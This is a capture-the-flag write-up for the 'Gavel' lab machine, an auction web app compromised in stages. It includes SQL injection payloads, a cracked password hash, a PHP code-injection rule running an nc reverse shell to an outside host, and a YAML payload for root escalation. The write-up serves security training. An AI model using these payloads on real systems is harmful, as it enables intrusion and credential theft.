Gavel¶

Initial Scan¶

nmap -sC -sV -Pn -oN scan_initial 10.10.x.x

Enumeration¶

The application at http://gavel.htb/ is an auction platform. The inventory.php page accepts user_id and sort parameters in POST requests.

• user_id is cast to (int) in PHP, preventing injection
• sort parameter is passed directly into the SQL query, exploitable via PDO prepared statement technique

A git repository was also found using git-dumper.

Exploitation¶

SQL Injection - PDO Technique¶

The application uses PDO prepared statements, but the sort parameter is interpolated directly into the query. Using the PDO injection technique from slcyber.io:

POST /inventory.php
Content-Type: application/x-www-form-urlencoded

user_id=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23&sort=\?; --

Enumerating tables:

user_id=x` FROM (SELECT username AS `'x` from users)y;%23&sort=\?; --

Extracting the auctioneer user's bcrypt hash:

$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS

Cracked with hashcat:

hashcat -m 3200 hash ~/wordlists/rockyou.txt
# result: midnight1

PHP Code Injection via bid_handler¶

The bid_handler.php uses runkit_function_add to dynamically create a function from user-supplied rule text:

runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);

This allows arbitrary PHP code execution. Created a bid rule with:

system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.239 4444 >/tmp/f'); return true;

After placing a bid, the rule executes and returns a reverse shell as www-data.

Switch to auctioneer¶

su auctioneer
# password: midnight1

user.txt: ***

Privilege Escalation¶

gaveld Socket - YAML Payload¶

Found a socket at /var/run/gaveld.sock. The gaveld daemon processes YAML item definitions and executes the rule field via the same runkit_function_add mechanism.

Created a malicious payload.yaml:

name: "blablabla"
description: "mamamioa"
image: "https://example.com/dragon_hat.png"
price: 1003
rule_msg: "azgazgazg"
rule: system('cp /root/root.txt /opt/gavel/dontlook.txt; chmod 777 /opt/gavel/dontlook.txt;'); return false;

Submitted via the socket to execute code as root:

cat /opt/gavel/dontlook.txt

root.txt: ***

Flags¶

user.txt: *** root.txt: ***